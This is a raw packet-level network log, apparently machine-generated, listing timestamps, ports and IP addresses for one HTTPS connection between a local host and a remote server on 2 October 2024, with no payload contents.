Oct 2, 2024 06:10:11.357467890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.357536077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.357551098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.357578039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.357606888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.357939959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.357954979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358042002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.358055115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358119011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.358273983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358288050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358360052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.358374119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358422041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.358726978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358742952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358865023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.358877897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.358932018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.359060049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359074116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359117031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.359128952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359174967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.359194040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.359292030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359311104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359364033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.359380960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.359451056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.362843990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.362858057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.362910032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.362926006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.363022089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.445358992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.445374966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.445452929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.445461988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.445477009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.445501089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.446780920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.446794987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.446857929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.446865082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.446908951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447067976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447082043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447133064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447139978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447186947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447375059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447393894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447431087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447438002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447460890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447477102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447597027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447613955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447662115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447668076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447684050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447711945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447904110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447917938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447967052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.447973013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.447983980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.448020935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.448164940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.448179007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.448235035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.448242903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.448282957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.451512098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.451527119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.451601982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.451616049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.451673031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.534547091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.534569025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.534672976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.534682989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.534745932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.537659883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.537676096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.537719965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.537729979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.537750959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.537770987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538012028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538026094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538064003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538069963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538096905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538105965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538223028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538237095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538271904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538279057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.538301945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.538320065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539237022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539252043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539292097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539299011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539330006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539338112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539470911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539496899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539531946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539537907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539566994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539588928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539726973 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539742947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539788961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.539797068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.539838076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.548927069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.548943996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.549026966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.549036980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.549077988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.623025894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.623042107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.623112917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.623131990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.623183966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626115084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626131058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626202106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626215935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626270056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626579046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626595020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626646042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626657963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626687050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626705885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626840115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626854897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626910925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.626923084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.626981974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.627768993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.627784967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.627882004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.627897024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.627943993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.628622055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628637075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628694057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.628701925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628745079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.628864050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628879070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628928900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.628936052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.628978968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.633616924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.637491941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.637512922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.637552977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.637559891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.637595892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.637615919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.711766958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.711786985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.711857080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.711894035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.711941004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.714704990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.714721918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.714838982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.714853048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.714895964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.714981079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.714998960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.715048075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.715054989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.715109110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.715301037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.715322018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.715363026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.715369940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.715439081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.715439081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.716986895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717011929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717066050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717086077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717109919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717139006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717226028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717241049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717288017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717308044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717331886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717370987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717433929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717451096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717490911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717503071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.717531919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.717549086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.719217062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.725889921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.725904942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.726010084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.726027012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.726078033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.800154924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.800175905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.800432920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.800456047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.800508022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803198099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803212881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803262949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803273916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803309917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803309917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803550005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803565979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803606987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803612947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803636074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803656101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803909063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803924084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.803975105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.803983927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.804023981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805510044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805526018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805569887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805579901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805610895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805623055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805716038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805746078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805774927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805782080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.805800915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805821896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.805995941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.806010962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.806054115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.806067944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.806080103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.806107044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.814685106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.814706087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.814774990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.814785004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.814801931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.814826965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892136097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892152071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892348051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892369032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892380953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892400980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892416000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892425060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892450094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892481089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892656088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892671108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892744064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892751932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892771006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892796040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892868996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892889023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892936945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.892944098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.892982960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.894376993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894390106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894454002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.894460917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894500017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.894710064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894722939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894768953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.894778967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894819975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.894970894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.894987106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.895060062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.895066977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.895108938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.906605005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.909703016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.909718037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.909885883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:11.909895897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:11.909938097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000104904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000129938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000206947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000238895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000308990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000396013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000412941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000447035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000454903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000484943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000722885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000742912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000762939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000772953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.000781059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.000816107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.001178026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.001194954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.001266956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.001275063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.001334906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.002655029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.002674103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.002724886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.002732038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.002775908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.003221989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003238916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003283978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.003292084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:12.003302097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:12.003334045 CEST	49715	443	192.168.2.5	167.114.14.168
